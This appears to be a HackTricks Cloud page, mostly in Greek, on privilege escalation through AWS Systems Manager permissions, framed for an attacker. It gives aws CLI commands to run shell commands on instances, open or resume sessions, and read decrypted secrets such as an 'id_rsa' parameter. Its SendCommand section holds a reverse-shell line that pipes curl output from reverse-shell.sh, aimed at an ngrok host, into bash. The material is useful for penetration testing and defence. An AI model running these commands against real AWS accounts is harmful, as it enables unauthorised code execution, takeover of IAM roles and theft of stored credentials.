AWS - SSM Privesc

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

SSM

Για περισσότερες πληροφορίες σχετικά με το SSM, ελέγξτε:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

ssm:SendCommand

Ένας επιτιθέμενος με την άδεια ssm:SendCommand μπορεί να εκτελεί εντολές σε instances που εκτελούν τον Amazon SSM Agent και να συμβιβάσει τον IAM Ρόλο που εκτελείται μέσα σε αυτόν.

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"

Σε περίπτωση που χρησιμοποιείτε αυτή την τεχνική για να κλιμακώσετε τα προνόμια μέσα σε μια ήδη παραβιασμένη EC2 instance, μπορείτε απλά να καταγράψετε το rev shell τοπικά με:

# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"

Πιθανές Επιπτώσεις: Άμεσο privesc στους ρόλους IAM EC2 που είναι συνδεδεμένοι σε εκτελούμενες περιπτώσεις με εκτελούμενους SSM Agents.

ssm:StartSession

Ένας επιτιθέμενος με την άδεια ssm:StartSession μπορεί να ξεκινήσει μια συνεδρία παρόμοια με SSH σε περιπτώσεις που εκτελούν τον Amazon SSM Agent και να παραβιάσει τον IAM Ρόλο που εκτελείται μέσα σε αυτόν.

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"

Για να ξεκινήσετε μια συνεδρία, χρειάζεστε το SessionManagerPlugin εγκατεστημένο: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

Πιθανές Επιπτώσεις: Άμεση εκμετάλλευση των ρόλων IAM EC2 που είναι συνδεδεμένοι σε εκτελούμενες παρουσίες με SSM Agents.

Εκμετάλλευση σε ECS

Όταν οι ECS εργασίες εκτελούνται με ExecuteCommand ενεργοποιημένο, οι χρήστες με αρκετά δικαιώματα μπορούν να χρησιμοποιήσουν ecs execute-command για να εκτελέσουν μια εντολή μέσα στο κοντέινερ. Σύμφωνα με την τεκμηρίωση, αυτό γίνεται δημιουργώντας ένα ασφαλές κανάλι μεταξύ της συσκευής που χρησιμοποιείτε για να ξεκινήσετε την εντολή “exec” και του στοχευμένου κοντέινερ με τον SSM Session Manager. (Απαιτείται το SSM Session Manager Plugin για να λειτουργήσει) Επομένως, οι χρήστες με ssm:StartSession θα μπορούν να αποκτήσουν πρόσβαση σε ένα shell μέσα στις ECS εργασίες με αυτήν την επιλογή ενεργοποιημένη απλά εκτελώντας:

aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"

Πιθανές Επιπτώσεις: Άμεση εκμετάλλευση δικαιωμάτων προς τους ECS IAM ρόλους που είναι συνδεδεμένοι σε εκτελούμενα καθήκοντα με ενεργοποιημένο το ExecuteCommand.

ssm:ResumeSession

Ένας επιτιθέμενος με την άδεια ssm:ResumeSession μπορεί να επαν-ξεκινήσει μια συνεδρία παρόμοια με SSH σε περιπτώσεις που εκτελούν τον Amazon SSM Agent με κατάσταση συνεδρίας SSM αποσυνδεδεμένη και να παραβιάσει τον IAM Ρόλο που εκτελείται μέσα σε αυτήν.

# Check for configured instances
aws ssm describe-sessions

# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5

Πιθανές Επιπτώσεις: Άμεση εκμετάλλευση δικαιωμάτων προς τους ρόλους IAM EC2 που είναι συνδεδεμένοι σε εκτελούμενες περιπτώσεις με εκτελούμενους SSM Agents και αποσυνδεδεμένες συνεδρίες.

ssm:DescribeParameters, (ssm:GetParameter | ssm:GetParameters)

Ένας επιτιθέμενος με τις αναφερόμενες άδειες θα είναι σε θέση να καταγράψει τις παραμέτρους SSM και να τις διαβάσει σε καθαρό κείμενο. Σε αυτές τις παραμέτρους μπορείτε συχνά να βρείτε ευαίσθητες πληροφορίες όπως κλειδιά SSH ή κλειδιά API.

aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption

Πιθανές Επιπτώσεις: Βρείτε ευαίσθητες πληροφορίες μέσα στις παραμέτρους.

ssm:ListCommands

Ένας επιτιθέμενος με αυτή την άδεια μπορεί να απαριθμήσει όλες τις εντολές που έχουν σταλεί και ελπίζουμε να βρει ευαίσθητες πληροφορίες σε αυτές.

aws ssm list-commands

Πιθανές Επιπτώσεις: Βρείτε ευαίσθητες πληροφορίες μέσα στις γραμμές εντολών.

ssm:GetCommandInvocation, (ssm:ListCommandInvocations | ssm:ListCommands)

Ένας επιτιθέμενος με αυτές τις άδειες μπορεί να απαριθμήσει όλες τις εντολές που έχουν σταλεί και να διαβάσει την έξοδο που έχει παραχθεί ελπίζοντας να βρει ευαίσθητες πληροφορίες σε αυτήν.

# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations

aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>

Πιθανές Επιπτώσεις: Βρείτε ευαίσθητες πληροφορίες μέσα στην έξοδο των γραμμών εντολών.

Codebuild

Μπορείτε επίσης να χρησιμοποιήσετε το SSM για να μπείτε σε ένα έργο codebuild που κατασκευάζεται:

AWS - Codebuild Privesc

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Υποστήριξη HackTricks

• Ελέγξτε τα σχέδια συνδρομής!

• Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.

• Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.